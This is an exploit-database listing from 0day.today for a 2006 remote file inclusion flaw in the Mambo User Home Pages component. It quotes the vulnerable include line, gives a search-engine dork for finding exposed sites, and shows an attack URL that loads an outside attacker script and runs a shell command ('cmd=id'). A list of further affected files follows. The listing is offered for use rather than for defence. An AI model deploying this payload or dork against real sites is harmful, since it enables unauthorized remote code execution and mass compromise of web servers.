[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Mambo User Home Pages Component <= 0.5 Remote Include Vulnerability

Author
Kurdish Security
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-619
Category
web applications
Date add
29-07-2006
Platform
unsorted
===================================================================
Mambo User Home Pages Component <= 0.5 Remote Include Vulnerability
===================================================================




>>> Kurdish Security

>>> Freedom For Ocalan

>>> Rish : High

>>> Class : Remote

>>> Script : User Home Pges

>>> Site : www.ravensportal.co.uk

>>> Thanx : kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca and other my friends

Code :

global $mosConfig_absolute_path;
require($mosConfig_absolute_path."/administrator/components/com_uhp/uhp_config.inc");

d0rkiz : allinurl:"com_uhp"

http://www.w0rkzsite.com/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=y0urscripts.txt?&cmd=id

And used link :]

footer.php
functions.php
install.uhp.php
toolbar.uhp.html.php
uhp.class.php
uhp_config.php
uninstall.uhp.php




#  0day.today [2024-11-15]  #